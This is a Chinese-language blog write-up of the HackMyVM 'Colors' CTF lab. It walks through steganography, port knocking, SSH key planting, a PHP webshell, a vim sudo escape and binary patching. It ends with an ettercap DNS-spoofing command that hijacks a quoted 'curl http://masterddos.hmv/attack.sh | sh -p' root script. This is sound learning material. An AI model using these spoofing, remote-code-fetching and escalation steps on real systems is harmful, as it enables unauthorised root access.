hackmyvm Colors复盘
FLow

写在前面

这个靶场涉及的知识点比较多,思路是大部分学习其他师傅的wp的,写复盘是想记录思路顺便回顾学好每个知识点。

启动前准备

由于网卡配置不同,我每次都需要开靶机刚开启的时候shift+e进入grub编辑,给一个root的/bin/bash启动编辑一下/etc/netwrok/interfaces里面的网卡配置,这是前置背景。

靶机信息

地址:https://hackmyvm.eu/machines/machine.php?vm=Colors

难度:medium

ip:192.168.64.92

信息搜集

nmap扫到21、22、80端口,并且22端口被过滤了(注意这里要用root扫如果用普通用户扫扫不到22端口信息)

先访问80端口

只有一张图片,扫目录一无所获,也对图片分析不出什么内容

看看21号端口

看起来可以用anonymous登陆,登陆一下

把secret.jpg下载下来,使用stegseek分析一波

搞出来一段字符,在cyberchef分析,是base85

得到一个pink的账号密码,这个时候我的思路是去登陆22端口,但是它的端口filted,后来去看了wp才知道这里有一个端口敲门,ftp那里就给了提示(好神奇的点子)

1127,1039,1081分别对应first,second,third敲门顺序,按顺序敲门端口才会打开,类似情况之前做vuln的DC系列的靶机也遇到过。

一个问题

知道了这个思路,我按照常规思路knock三个端口,然而22端口没有按照预期的打开,我试了很多次,还是失败,也不知道原因。第二天为了想实践后面的关卡,想着干脆关了防火墙,所以借助grub登陆root,按照网上给的命令总是失败,更头疼了。然后就想看看knock的配置文件,找到日志文件,一看到enp0s3我就想到要改成enp01,思路就来了。

于是经过一番搜索,找到/usr/lib/systemd/system/knockd.service,把里面的enp0s3改成enp0s1,再启动靶机

这次就可以了

虽然这个问题是针对自己的电脑产生的,别人的电脑可能不会出现这样的情况,但是整个过程是自己一点一点摸索到,最后成功解决的时候真的很开心,所以值得记录一下。

获得shell

ok解决了ssh的问题,想用之前拿到的pink账号密码登陆,还是失败

报错说publickey,说明需要密钥文件登陆。搞半天pink的账号密码可以用ftp登陆,对ftp的敏感度还不够,一直没想到,登陆后

pink目录下有.ssh目录,思路是在里面上传自己kali的id_rsa.pub(命名为authorized_keys),然后用那个文件为凭证自己kali登陆ssh

登陆成功

提权过程

拿到pink的shell后没能发现什么,接下来的思路是去到/var/www/html上传一个a.php,再在网页端访问a.php,就拿到www-data的shell

Sudo -l查看到green有vim可以利用提权

1
sudo -u green /usr/bin/vim

再输入’:!/bin/sh’,成功拿到green的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
green@color:/var/www/html$ cd /home/green
cd /home/green
green@color:~$ ls
ls
note.txt test_4_green
green@color:~$ cat no
cat note.txt
You've been working very well lately Green, so I'm going to give you one last test. If you pass it I'll give you the password for purple.

-root
green@color:~$ ./test_4_green
./test_4_green
Guess the number im thinking: 1
1
Nope, sorry
green@color:~$

到green到家目录下大致可以利用的就是test_4_green,下载到本地,ida打开查看一下

注意到有个jnz比较

大致就是比较v8和v7,这里用ida修改一下jnz为jz

保存后再执行,随便输入一个数字也会爆出密码

接着就登陆purple账户

1
2
3
4
5
6
7
8
9
10
11
12
purple@color:~$ sudo -l
sudo -l
Matching Defaults entries for purple on color:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User purple may run the following commands on color:
(root) NOPASSWD: /attack_dir/ddos.sh
purple@color:~$ cat /attack_dir/ddos.sh
cat /attack_dir/ddos.sh
#!/bin/bash
/usr/bin/curl http://masterddos.hmv/attack.sh | /usr/bin/sh -p

sudo -l发现有个脚本可以用,就是要下载masterddos.hmv下的attack.sh然后交给/usr/bin/sh 执行

思路是利用dns欺骗,让靶机向自己的kali发送请求,自己的kali伪造一个attack.sh,让靶机访问

步骤:

先在修改/etc/ettercap/etter.dns文件,增加

1
masterddos.hmv A 192.168.64.3

然后开始dns攻击

1
ettercap -i eth0 -Tp -M arp:remote -P dns_spoof /192.168.64.92// /192.168.64.1//

在靶机去ping masterddos.hmv,回复的ip是kali的ip,DNS欺骗执行成功

1
2
3
4
5
6
7
8
purple@color:~$ ping masterddos.hmv
ping masterddos.hmv
PING masterddos.hmv (192.168.64.3) 56(84) bytes of data.
64 bytes from 192.168.64.3 (192.168.64.3): icmp_seq=1 ttl=64 time=1.49 ms
64 bytes from 192.168.64.3 (192.168.64.3): icmp_seq=2 ttl=64 time=0.915 ms
64 bytes from 192.168.64.3 (192.168.64.3): icmp_seq=3 ttl=64 time=0.972 ms
64 bytes from 192.168.64.3 (192.168.64.3): icmp_seq=4 ttl=64 time=1.08 ms
64 bytes from 192.168.64.3 (192.168.64.3): icmp_seq=5 ttl=64 time=0.681 ms

接着就sudo /attack_dir/ddos.sh执行脚本

成功拿到root的shell,提权成功。

总结

第一次遇到DNS欺骗,学到了,通过ftp敲门那里思路比较清奇,要打破惯性思维,不要一看到账号密码只想到ssh的网页,还有ftp!可执行文件修改(二进制方向的魅力),knock开端口(注意网卡配置),还有一般都是先拿到www-data再拿到其他账户的shell,这次是先有个pink才有www-data。

这么理下来知识点也不是特别多,但我就要消化好久,自己做的时候没办法想到的思路无非就是因为知识面不够广,还有就是脑子不够灵活(比如没想到拿账号密码登陆ftp),路漫漫。

由 Hexo 驱动 & 主题 Keep